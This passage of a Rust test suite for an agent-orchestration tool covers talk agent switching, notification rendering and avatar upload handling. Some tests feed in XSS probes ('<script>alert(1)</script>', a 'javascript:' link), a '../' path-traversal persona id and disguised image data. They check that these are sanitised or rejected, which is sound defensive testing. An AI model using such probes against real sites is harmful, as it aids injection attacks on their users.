13175 repo.join("magi.toml"),
13176 format!("{MOCK_AGENT_TOML}\n{second}"),
13177 )
13178 .expect("write magi.toml");
13179 let home = TempDir::new().expect("temp home");
13180 let talks = Talks::at(home.path().join("talks"));
13181 let ui = Arc::new(
13182 Ui::new(
13183 Queue::at(home.path().join("queue")),
13184 Questions::at(home.path().join("questions")),
13185 talks.clone(),
13186 home.path().join("runs"),
13187 home.path().to_path_buf(),
13188 repo.clone(),
13189 )
13190 .with_worktrees_root(home.path().join("wt")),
13191 );
13192 let cfg = config_for(&repo).await.expect("discover config");
13193 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13194 let id = talk.id.clone();
13195 let call = |agent: &str| {
13196 talk_agent(
13197 State(Arc::clone(&ui)),
13198 Path(id.clone()),
13199 Json(TalkAgent {
13200 agent: agent.to_owned(),
13201 }),
13202 )
13203 };
13204
13205 let unknown = call("nobody").await.expect_err("unknown agent");
13206 assert_eq!(
13207 unknown.status,
13208 StatusCode::BAD_REQUEST,
13209 "{}",
13210 unknown.message
13211 );
13212
13213 {
13214 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
13217 let busy = call("second").await.expect_err("busy talk");
13218 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
13219 assert!(
13220 busy.message.contains("a talk turn is running"),
13221 "{}",
13222 busy.message
13223 );
13224 drop(guard);
13225 }
13226 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
13227
13228 let Json(view) = call("second").await.expect("switch");
13229 assert_eq!(view.talk.agent, "second");
13230 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
13231 let saved = talks.get(&id).expect("reload");
13232 assert_eq!(saved.agent, "second");
13233 assert_eq!(saved.turns.len(), 1);
13234 assert!(!view.thinking);
13235 assert!(!ui.is_thinking(&id), "idle response must release the claim");
13236 for agent in ["mock", "second"] {
13237 let Json(view) = call(agent).await.expect("immediate consecutive change");
13238 assert_eq!(view.talk.agent, agent);
13239 assert!(!view.thinking);
13240 assert!(!ui.is_thinking(&id));
13241 }
13242
13243 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
13244 .await
13245 .expect("detail");
13246 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
13247 assert_eq!(roster, ["mock", "second"]);
13248
13249 let mut closed = talks.get(&id).expect("reload");
13250 talk::close(&mut closed, &talks).expect("close");
13251 let refused = call("mock").await.expect_err("closed talk");
13252 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
13253 assert!(
13254 refused.message.contains("takes no more turns"),
13255 "{}",
13256 refused.message
13257 );
13258 }
13259
13260 #[tokio::test]
13261 async fn talk_implementers_validates_and_refuses_busy_or_closed() {
13262 let tmp = TempDir::new().expect("tempdir");
13263 let repo = tmp.path().join("repo");
13264 std::fs::create_dir_all(&repo).expect("repo dir");
13265 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13266 let home = TempDir::new().expect("temp home");
13267 let talks = Talks::at(home.path().join("talks"));
13268 let ui = Arc::new(
13269 Ui::new(
13270 Queue::at(home.path().join("queue")),
13271 Questions::at(home.path().join("questions")),
13272 talks.clone(),
13273 home.path().join("runs"),
13274 home.path().to_path_buf(),
13275 repo.clone(),
13276 )
13277 .with_worktrees_root(home.path().join("wt")),
13278 );
13279 let cfg = config_for(&repo).await.expect("discover config");
13280 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13281 let id = talk.id.clone();
13282 let call = |n: u8| {
13283 talk_implementers(
13284 State(Arc::clone(&ui)),
13285 Path(id.clone()),
13286 Json(TalkImplementers { implementers: n }),
13287 )
13288 };
13289
13290 for bad in [0u8, 4] {
13291 let e = call(bad).await.expect_err("out of range");
13292 assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
13293 }
13294 assert_eq!(talks.get(&id).expect("reload").implementers, 1);
13295
13296 {
13297 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
13300 let busy = call(2).await.expect_err("busy talk");
13301 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
13302 assert!(
13303 busy.message.contains("a talk turn is running"),
13304 "{}",
13305 busy.message
13306 );
13307 drop(guard);
13308 }
13309
13310 let Json(view) = call(3).await.expect("switch");
13311 assert_eq!(view.talk.implementers, 3);
13312 assert!(talks.get(&id).expect("reload").implementers_dirty);
13313 assert!(!view.thinking);
13314 assert!(!ui.is_thinking(&id), "idle response must release the claim");
13315 for n in [1, 2, 3] {
13316 let Json(view) = call(n).await.expect("immediate consecutive change");
13317 assert_eq!(view.talk.implementers, n);
13318 assert!(!view.thinking);
13319 assert!(!ui.is_thinking(&id));
13320 }
13321
13322 let mut closed = talks.get(&id).expect("reload");
13323 talk::close(&mut closed, &talks).expect("close");
13324 let e = call(2).await.expect_err("closed talk");
13325 assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
13326 assert!(e.message.contains("takes no more turns"), "{}", e.message);
13327 }
13328
13329 async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
13331 let tmp = TempDir::new().expect("tempdir");
13332 let repo = tmp.path().join("repo");
13333 std::fs::create_dir_all(&repo).expect("repo dir");
13334 std::fs::write(
13335 repo.join("magi.toml"),
13336 format!("{MOCK_AGENT_TOML}\n{extra}"),
13337 )
13338 .expect("write magi.toml");
13339 let home = TempDir::new().expect("temp home");
13340 let talks = Talks::at(home.path().join("talks"));
13341 let ui = Arc::new(
13342 Ui::new(
13343 Queue::at(home.path().join("queue")),
13344 Questions::at(home.path().join("questions")),
13345 talks.clone(),
13346 home.path().join("runs"),
13347 home.path().to_path_buf(),
13348 repo.clone(),
13349 )
13350 .with_worktrees_root(home.path().join("wt")),
13351 );
13352 let cfg = config_for(&repo).await.expect("discover config");
13353 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13354 (tmp, home, ui, talk.id, repo)
13355 }
13356
13357 #[tokio::test]
13358 async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
13359 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13360 let mut conversation = ui.talks.get(&id).unwrap();
13361 talk::record(
13362 &mut conversation,
13363 &ui.talks,
13364 "# Update on a task you filed\noperator words",
13365 vec![],
13366 )
13367 .unwrap();
13368 conversation.turns[0].sender = None;
13370 conversation.turns[0].messages.clear();
13371 ui.talks.put(&mut conversation).unwrap();
13372 talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
13373 talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
13374 talk::drain(&mut conversation, &ui.talks).unwrap();
13375 talk::record_reply(
13376 &mut conversation,
13377 &ui.talks,
13378 "about that report",
13379 vec![],
13380 Some(talk::ReplyTarget {
13381 turn: 1,
13382 message: 1,
13383 }),
13384 )
13385 .unwrap();
13386 conversation.turns[2].messages[0]
13387 .reply
13388 .as_mut()
13389 .unwrap()
13390 .sender = None;
13391 conversation.turns.push(talk::Turn {
13392 sender: Some(talk::Sender::Persona),
13393 who: talk::Who::Agent,
13394 body: "magi: actual persona words".into(),
13395 at: Timestamp::now(),
13396 attachments: vec![],
13397 usage: None,
13398 breaks: None,
13399 messages: vec![],
13400 posted_by: None,
13401 });
13402 ui.talks.put(&mut conversation).unwrap();
13403 let view = TalkView::with_config(
13404 ui.talks.get(&id).unwrap(),
13405 false,
13406 None,
13407 &ui.home,
13408 &ui.references,
13409 );
13410 assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
13411 assert_eq!(
13412 view.talk.turns[1].messages[0].sender,
13413 Some(talk::Sender::Operator)
13414 );
13415 assert_eq!(
13416 view.talk.turns[1].messages[1].sender,
13417 Some(talk::Sender::Magi)
13418 );
13419 assert_eq!(
13420 view.talk.turns[2].messages[0]
13421 .reply
13422 .as_ref()
13423 .unwrap()
13424 .sender,
13425 Some(talk::Sender::Magi)
13426 );
13427 assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
13428 assert_eq!(view.turn_messages_md[0].len(), 1);
13429 assert!(view.turn_messages_md[0][0].is_none());
13430 assert!(view.turn_messages_md[1][0].is_none());
13431 assert!(view.turn_messages_md[1][1].is_some());
13432 }
13433
13434 #[tokio::test]
13435 async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
13436 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13437 let mut conversation = ui.talks.get(&id).unwrap();
13438 let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
13439 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
13440 talk::queue_notice(
13441 &mut conversation,
13442 &ui.talks,
13443 &body,
13444 "watch:123",
13445 &|_| false,
13446 None,
13447 display.clone(),
13448 )
13449 .unwrap();
13450 assert!(
13451 !talk::queue_notice(
13452 &mut conversation,
13453 &ui.talks,
13454 &body,
13455 "watch:123",
13456 &|_| false,
13457 None,
13458 display.clone()
13459 )
13460 .unwrap()
13461 );
13462 let saved = ui.talks.get(&id).unwrap();
13463 assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
13464 let view = TalkView::with_config(saved, false, None, &ui.home, &ui.references);
13465 assert!(
13466 view.talk.turns[0].messages[0].display.is_none(),
13467 "operator copy stays literal"
13468 );
13469 assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
13470 assert!(view.turn_messages_md[0][0].is_none());
13471 let queued_md = view.pending_messages_md[0].clone();
13472 assert_eq!(
13473 queued_md,
13474 Some(md::to_nodes(&display.facts, &md::ImageBase::None))
13475 );
13476 talk::drain(&mut conversation, &ui.talks).unwrap();
13477 talk::record_reply(
13478 &mut conversation,
13479 &ui.talks,
13480 "Explain",
13481 vec![],
13482 Some(talk::ReplyTarget {
13483 turn: 1,
13484 message: 0,
13485 }),
13486 )
13487 .unwrap();
13488 let mut saved = ui.talks.get(&id).unwrap();
13489 assert_eq!(saved.turns[1].messages[0].body, body);
13490 assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
13491 let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
13492 assert!(!reply.excerpt.contains("automatic report"));
13493 reply.excerpt = body.chars().take(240).collect(); saved.turns[1].messages[0].display = None; ui.talks.put(&mut saved).unwrap();
13496 let view = TalkView::with_config(
13497 ui.talks.get(&id).unwrap(),
13498 false,
13499 None,
13500 &ui.home,
13501 &ui.references,
13502 );
13503 assert_eq!(view.turn_messages_md[1][0], queued_md);
13504 assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
13505 assert!(
13506 !view.talk.turns[2].messages[0]
13507 .reply
13508 .as_ref()
13509 .unwrap()
13510 .excerpt
13511 .contains("automatic report")
13512 );
13513 assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
13514 }
13515
13516 #[tokio::test]
13517 async fn consultation_display_hides_directives_in_queue_and_history() {
13518 for node in [
13519 "implement",
13520 crate::land::APPROVAL_NODE,
13521 crate::github_text::ASK_NODE,
13522 ] {
13523 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13524 let mut question = Question::new(
13525 "run-123".into(),
13526 node.into(),
13527 "seat-1".into(),
13528 "Which backend?".into(),
13529 "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
13530 vec!["SQLite".into(), "Redis".into()],
13531 );
13532 ui.questions.put(&mut question).unwrap();
13533 let body = crate::prompt::chat_consult(&question);
13534 let mut conversation = ui.talks.get(&id).unwrap();
13535 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
13536 assert!(
13537 crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
13538 );
13539 conversation = ui.talks.get(&id).unwrap();
13540 assert_eq!(conversation.pending_messages[0].body, body);
13541 assert!(body.contains("magi answer"));
13542 let mut legacy_pending = conversation.clone();
13543 legacy_pending.pending_messages[0].display = None;
13544 let legacy_view =
13545 TalkView::with_config(legacy_pending, false, None, &ui.home, &ui.references);
13546 let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
13547 assert!(legacy_md.contains("Question consultation"));
13548 assert!(!legacy_md.contains("magi answer"));
13549 let view =
13550 TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
13551 assert!(
13552 view.turn_messages_md[0][0].is_none(),
13553 "operator copy stays literal"
13554 );
13555 let queued_md = view.pending_messages_md[0].clone().unwrap();
13556 let rendered = serde_json::to_string(&queued_md).unwrap();
13557 for visible in [
13558 "Which backend?",
13559 "Context",
13560 "storage",
13561 "SQLite",
13562 "Redis",
13563 "<script>literal</script>",
13564 ] {
13565 assert!(rendered.contains(visible), "missing {visible}");
13566 }
13567 for directive in [
13568 "What to do",
13569 "magi answer",
13570 "Never answer it yourself",
13571 "Do not edit the repository",
13572 ] {
13573 assert!(!rendered.contains(directive), "exposed {directive}");
13574 }
13575 assert_eq!(
13576 view.talk.pending_messages[0].display,
13577 Some(crate::prompt::chat_consult_display(&question))
13578 );
13579 talk::drain(&mut conversation, &ui.talks).unwrap();
13580 let view =
13581 TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
13582 assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
13583 assert_eq!(conversation.turns[1].messages[0].body, body);
13584
13585 conversation.turns[1].messages[0].display = None;
13588 let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
13589 let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
13590 assert!(legacy.contains("Question consultation"));
13591 assert!(!legacy.contains("magi answer"));
13592 assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
13593 }
13594 }
13595
13596 #[test]
13597 fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
13598 let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
13599 let (body, mut display) =
13600 crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
13601 display.facts = facts.into();
13602 let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
13603 assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
13604 let json = serde_json::to_string(&nodes).unwrap();
13605 for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
13606 assert!(json.contains(&format!("\"type\":\"{kind}\"")));
13607 }
13608 assert!(json.contains("<script>alert(1)</script>"));
13609 assert!(!json.contains("javascript:"));
13610 assert!(!json.contains("Tell the operator"));
13611 assert!(!json.contains("untrusted"));
13612 assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
13613 assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
13614 assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
13615 assert_eq!(
13616 notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
13617 md::to_nodes("# Status", &md::ImageBase::None),
13618 );
13619 }
13620
13621 #[tokio::test]
13622 async fn notification_display_recovers_exact_legacy_completion_references() {
13623 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13624 let mut conversation = ui.talks.get(&id).unwrap();
13625 let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
13626 id: "task-123",
13627 title: "Change",
13628 status: "done",
13629 reason: None,
13630 run: Some("run-123"),
13631 pr: None,
13632 summary: Some("Merge state unknown"),
13633 });
13634 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
13635 conversation.turns[0].sender = None;
13636 conversation.turns[0].messages.clear();
13637 conversation.turns[0].breaks = None;
13638 conversation.pending = body.clone();
13639 conversation
13640 .completion_notices
13641 .push(crate::chat_notify::CompletionReference {
13642 task: "task-123".into(),
13643 run: Some("run-123".into()),
13644 notice: body.clone(),
13645 });
13646 ui.talks.put(&mut conversation).unwrap();
13647 let view = TalkView::with_config(
13648 ui.talks.get(&id).unwrap(),
13649 false,
13650 None,
13651 &ui.home,
13652 &ui.references,
13653 );
13654 assert_eq!(
13655 view.talk.turns[0].messages[0].display,
13656 Some(display.clone())
13657 );
13658 assert_eq!(view.talk.pending_messages[0].display, Some(display));
13659 assert_eq!(
13660 view.talk.turns[0].messages[0].sender,
13661 Some(talk::Sender::Magi)
13662 );
13663 assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
13664 conversation.completion_notices[0]
13665 .notice
13666 .push_str("different");
13667 let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
13668 assert!(view.talk.turns[0].messages.is_empty());
13669 assert!(view.talk.pending_messages.is_empty());
13670 }
13671
13672 #[tokio::test]
13673 async fn avatar_settings_report_states_and_inherit_after_corruption() {
13674 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
13675 let (_tmp, home, ui, _, _) = avatar_fixture(&format!(
13676 "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n"
13677 ))
13678 .await;
13679 let path = avatar_setting_path(home.path(), Some("rei"));
13680 let orphan = avatar_setting_path(home.path(), Some("removed"));
13681 save_icon_file(&orphan, icon).unwrap();
13682 for (saved, expected) in [
13683 (icon, "custom"),
13684 ("builtin", "builtin"),
13685 ("data:image/png;base64,!!!!", "inherit"),
13686 ("data:image/png;base64,PGh0bWw+", "inherit"),
13687 ("/tmp/avatar.png", "inherit"),
13688 ] {
13689 atomic_icon_write(&path, saved).unwrap();
13690 let catalog =
13691 avatar_settings_get(State(ui.clone()), Query(AvatarSettingsQuery::default()))
13692 .await
13693 .unwrap()
13694 .0;
13695 let personas = catalog["personas"].as_array().unwrap();
13696 let rei = personas.iter().find(|p| p["id"] == "rei").unwrap();
13697 assert_eq!(rei["override_state"], expected);
13698 assert_eq!(rei["has_config_icon"], true);
13699 assert_eq!(rei["is_orphan"], false);
13700 let removed = personas.iter().find(|p| p["id"] == "removed").unwrap();
13701 assert_eq!(removed["override_state"], "custom");
13702 assert_eq!(removed["is_orphan"], true);
13703 let default = personas.iter().find(|p| p["id"] == "default").unwrap();
13704 assert_eq!(default["override_state"], "inherit");
13705 assert_eq!(default["has_config_icon"], false);
13706 let effective = effective_persona_icon(home.path(), "rei", Some(icon));
13707 assert_eq!(
13708 effective.as_deref(),
13709 Some(if expected == "builtin" { "" } else { icon })
13710 );
13711 }
13712 }
13713
13714 #[tokio::test]
13715 async fn avatar_settings_persist_reset_isolate_and_reject_invalid_images() {
13716 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
13717 let (_tmp, home, ui, id, repo) = avatar_fixture(&format!(
13718 "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n\n[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Stay concise\"\n"
13719 ))
13720 .await;
13721 let target = |id: Option<&str>| AvatarSettingsQuery {
13722 persona: id.map(str::to_owned),
13723 ..Default::default()
13724 };
13725 let original_config = config_for(&repo).await.unwrap();
13726 let original_persona = persona::find(&original_config.talk.personas, "rei").unwrap();
13727 let original_prompt = persona::section_for(&original_persona, None);
13728 let before = talk_detail(State(ui.clone()), Path(id.clone()))
13729 .await
13730 .unwrap()
13731 .0;
13732 for persona in [None, Some("rei"), Some("magi"), Some("../custom/日本語")] {
13733 let _ = avatar_settings_put(
13734 State(ui.clone()),
13735 Query(target(persona)),
13736 Json(MagiIconUpload { icon: icon.into() }),
13737 )
13738 .await
13739 .unwrap();
13740 let path = avatar_setting_path(home.path(), persona);
13741 assert!(path.starts_with(home.path().join("avatars")));
13742 assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
13743 for bad in [
13744 "/tmp/image.png".to_owned(),
13745 "data:image/png;base64,!!!!".to_owned(),
13746 "data:image/png;base64,PGh0bWw+".to_owned(),
13747 "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
13748 format!(
13749 "data:image/png;base64,{}",
13750 "A".repeat(persona_icon::ICON_MAX_BYTES)
13751 ),
13752 ] {
13753 assert!(
13754 avatar_settings_put(
13755 State(ui.clone()),
13756 Query(target(persona)),
13757 Json(MagiIconUpload { icon: bad })
13758 )
13759 .await
13760 .is_err()
13761 );
13762 assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
13763 }
13764 }
13765 assert!(read_magi_icon(home.path()).is_none());
13766 assert!(effective_persona_icon(home.path(), "asuka", None).is_none());
13767 let after = talk_detail(State(ui.clone()), Path(id.clone()))
13768 .await
13769 .unwrap()
13770 .0;
13771 assert_ne!(before.view.operator_avatar, after.view.operator_avatar);
13772 assert_ne!(
13773 before
13774 .personas
13775 .iter()
13776 .find(|p| p.id == "magi")
13777 .unwrap()
13778 .avatar,
13779 after
13780 .personas
13781 .iter()
13782 .find(|p| p.id == "magi")
13783 .unwrap()
13784 .avatar
13785 );
13786 let restarted = Arc::new(Ui::new(
13787 Queue::at(home.path().join("queue")),
13788 Questions::at(home.path().join("questions")),
13789 Talks::at(home.path().join("talks")),
13790 home.path().join("runs"),
13791 home.path().to_owned(),
13792 repo,
13793 ));
13794 let catalog = avatar_settings_get(State(restarted.clone()), Query(target(None)))
13795 .await
13796 .unwrap()
13797 .0;
13798 assert!(
13799 catalog["personas"]
13800 .as_array()
13801 .unwrap()
13802 .iter()
13803 .any(|p| p["id"] == "../custom/日本語")
13804 );
13805 for expected in ["custom", "default", "rei"] {
13806 assert!(
13807 catalog["personas"]
13808 .as_array()
13809 .unwrap()
13810 .iter()
13811 .any(|p| p["id"] == expected)
13812 );
13813 }
13814 let response =
13815 operator_avatar(State(restarted.clone()), Query(AvatarQuery::default())).await;
13816 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
13817 let _ = avatar_settings_delete(State(restarted.clone()), Query(target(Some("rei"))))
13818 .await
13819 .unwrap();
13820 assert_eq!(
13821 effective_persona_icon(home.path(), "rei", Some(icon)),
13822 Some(String::new())
13823 );
13824 let response = talk_avatar(
13825 State(restarted.clone()),
13826 Path(id.clone()),
13827 Query(AvatarQuery {
13828 persona: Some("rei".into()),
13829 ..Default::default()
13830 }),
13831 )
13832 .await
13833 .unwrap();
13834 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/svg+xml");
13835 let reset = talk_detail(State(restarted.clone()), Path(id.clone()))
13836 .await
13837 .unwrap()
13838 .0;
13839 assert_ne!(
13840 after
13841 .personas
13842 .iter()
13843 .find(|p| p.id == "rei")
13844 .unwrap()
13845 .avatar,
13846 reset
13847 .personas
13848 .iter()
13849 .find(|p| p.id == "rei")
13850 .unwrap()
13851 .avatar
13852 );
13853 let mut inherit = target(Some("rei"));
13854 inherit.inherit = Some("1".into());
13855 let _ = avatar_settings_delete(State(restarted.clone()), Query(inherit))
13856 .await
13857 .unwrap();
13858 assert_eq!(
13859 effective_persona_icon(home.path(), "rei", Some(icon)).as_deref(),
13860 Some(icon)
13861 );
13862 let _ = avatar_settings_delete(State(restarted.clone()), Query(target(None)))
13863 .await
13864 .unwrap();
13865 assert_eq!(operator_icon_url(home.path()), before.view.operator_avatar);
13866 assert_eq!(
13867 read_icon_file(&avatar_setting_path(home.path(), Some("magi"))).as_deref(),
13868 Some(icon)
13869 );
13870 let cfg = config_for(&ui.repo).await.unwrap();
13872 let resolved = persona::find(&cfg.talk.personas, "rei").unwrap();
13873 assert_eq!(persona::section_for(&resolved, None), original_prompt);
13874 assert!(!original_prompt.contains("data:image"));
13875 assert_eq!(ui.talks.get(&id).unwrap().persona, before.view.talk.persona);
13876 let stored = serde_json::to_string(&ui.talks.get(&id).unwrap()).unwrap();
13877 assert!(!stored.contains("data:image"));
13878 let mut orphan = ui.talks.get(&id).unwrap();
13879 orphan.persona = "../custom/日本語".into();
13880 let view = TalkView::with_config(
13881 orphan,
13882 false,
13883 Some(&cfg),
13884 home.path(),
13885 &id_links::IndexCache::default(),
13886 );
13887 assert!(view.persona_avatar.contains("persona=..%2Fcustom%2F"));
13888 }
13889
13890 #[tokio::test]
13891 async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
13892 let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
13893 let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
13894 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
13895 let _ = magi_icon_put(
13896 State(ui.clone()),
13897 Json(MagiIconUpload { icon: icon.into() }),
13898 )
13899 .await
13900 .unwrap();
13901 let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
13902 assert_ne!(original, changed);
13903 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
13904 let response = magi_avatar(
13905 State(ui.clone()),
13906 Query(AvatarQuery {
13907 persona: None,
13908 builtin: None,
13909 }),
13910 )
13911 .await;
13912 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
13913 assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
13914 assert_eq!(
13915 response.headers()[header::X_CONTENT_TYPE_OPTIONS],
13916 "nosniff"
13917 );
13918 for bad in [
13919 "data:image/png;base64,PGh0bWw+".to_owned(),
13920 "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
13921 "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
13922 ] {
13923 assert!(save_magi_icon(home.path(), &bad).is_err());
13924 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
13925 }
13926 let restarted = Arc::new(Ui::new(
13928 Queue::at(home.path().join("queue")),
13929 Questions::at(home.path().join("questions")),
13930 Talks::at(home.path().join("talks")),
13931 home.path().join("runs"),
13932 home.path().to_path_buf(),
13933 repo,
13934 ));
13935 assert_eq!(
13936 magi_icon_get(State(restarted.clone())).await.0["avatar"],
13937 changed
13938 );
13939 let view = TalkView::with_config(
13940 restarted.talks.get(&id).unwrap(),
13941 false,
13942 None,
13943 &restarted.home,
13944 &restarted.references,
13945 );
13946 assert_eq!(view.magi_avatar, changed.as_str().unwrap());
13947 std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
13948 let response = magi_avatar(
13949 State(ui.clone()),
13950 Query(AvatarQuery {
13951 persona: None,
13952 builtin: None,
13953 }),
13954 )
13955 .await;
13956 let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
13957 .await
13958 .unwrap();
13959 assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
13960 let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
13961 assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
13962 let _ = magi_icon_delete(State(ui)).await.unwrap();
13963 }
13964
13965 async fn avatar(
13967 ui: &Arc<Ui>,
13968 id: &str,
13969 persona: Option<&str>,
13970 builtin: bool,
13971 ) -> (StatusCode, String, bool, bool, Vec<u8>) {
13972 let res = talk_avatar(
13973 State(Arc::clone(ui)),
13974 Path(id.to_owned()),
13975 Query(AvatarQuery {
13976 persona: persona.map(str::to_owned),
13977 builtin: builtin.then(|| "1".to_owned()),
13978 }),
13979 )
13980 .await
13981 .expect("an avatar is never an error response");
13982 let h = res.headers();
13983 let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
13984 let nosniff = h
13985 .get(header::X_CONTENT_TYPE_OPTIONS)
13986 .is_some_and(|v| v == "nosniff");
13987 let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
13988 let status = res.status();
13989 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
13990 .await
13991 .expect("body")
13992 .to_vec();
13993 (status, ct, nosniff, csp, body)
13994 }
13995
13996 fn tiny_png() -> Vec<u8> {
13997 let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
13998 b.extend_from_slice(&[0u8; 32]);
13999 b
14000 }
14001
14002 #[tokio::test]
14003 async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
14004 let (_tmp, _home, ui, _id, _repo) = avatar_fixture("").await;
14005 let res = operator_avatar(State(ui), Query(AvatarQuery::default())).await;
14006 assert_eq!(res.status(), StatusCode::OK);
14007 assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
14008 assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
14009 assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
14010 assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
14011 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
14012 .await
14013 .unwrap();
14014 assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
14015 assert_ne!(
14016 persona_icon::operator_svg(),
14017 persona_icon::builtin_svg("default")
14018 );
14019 }
14020
14021 #[tokio::test]
14022 async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
14023 let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
14024 for p in [
14025 "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
14026 ] {
14027 let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
14028 assert_eq!(status, StatusCode::OK, "{p}");
14029 assert_eq!(ct, "image/svg+xml", "{p}");
14030 assert!(nosniff && csp, "{p}");
14031 assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
14032 }
14033 let own = avatar(&ui, &id, None, false).await;
14035 let default = avatar(&ui, &id, Some("default"), false).await;
14036 assert_eq!(own.4, default.4);
14037 let unknown = avatar(&ui, &id, Some("nobody"), false).await;
14038 assert_eq!(unknown.1, "image/svg+xml");
14039 }
14040
14041 #[tokio::test]
14042 async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
14043 let dir = TempDir::new().expect("icons");
14044 let good = dir.path().join("good.png");
14045 std::fs::write(&good, tiny_png()).unwrap();
